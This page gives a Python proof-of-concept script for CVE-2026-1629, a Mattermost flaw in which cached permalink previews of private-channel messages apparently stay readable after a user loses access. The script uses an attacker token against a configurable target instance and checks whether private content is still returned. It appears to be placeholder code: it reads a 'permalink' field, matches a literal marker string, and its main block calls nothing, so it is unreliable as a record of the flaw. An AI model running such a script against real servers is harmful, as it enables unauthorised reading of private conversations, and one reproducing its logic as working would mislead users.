CVE-2026-1629: Mattermost私有频道永久链接预览缓存失效漏洞

import requests import json # CVE-2026-1629 PoC - Mattermost Permalink Preview Cache Exploitation # This PoC demonstrates the cache invalidation failure when user loses channel access TARGET_URL = "https://your-mattermost-instance.com" ATTACKER_TOKEN = "your-authentication-token" def get_channel_permalink(channel_id, message_id): """Step 1: Get permalink to private channel message""" endpoint = f"{TARGET_URL}/api/v4/channels/{channel_id}/posts/{message_id}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() return data.get("permalink", None) return None def access_cached_permalink(permalink): """Step 2: Access cached permalink after losing channel access""" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(permalink, headers=headers) return response.status_code, response.text def verify_cache_invalidation(channel_id, message_id): """Verify if cached preview still accessible after permission removal""" permalink = get_channel_permalink(channel_id, message_id) if permalink: status, content = access_cached_permalink(permalink) if status == 200 and "private_channel_content" in content: print("[!] VULNERABLE: Cached preview accessible after losing access") return True print("[✓] SECURE: Cache properly invalidated") return False if __name__ == "__main__": print("CVE-2026-1629 PoC - Mattermost Cache Invalidation Failure") print("Target: Mattermost <= 10.11.10") # Configure target channel and message IDs for testing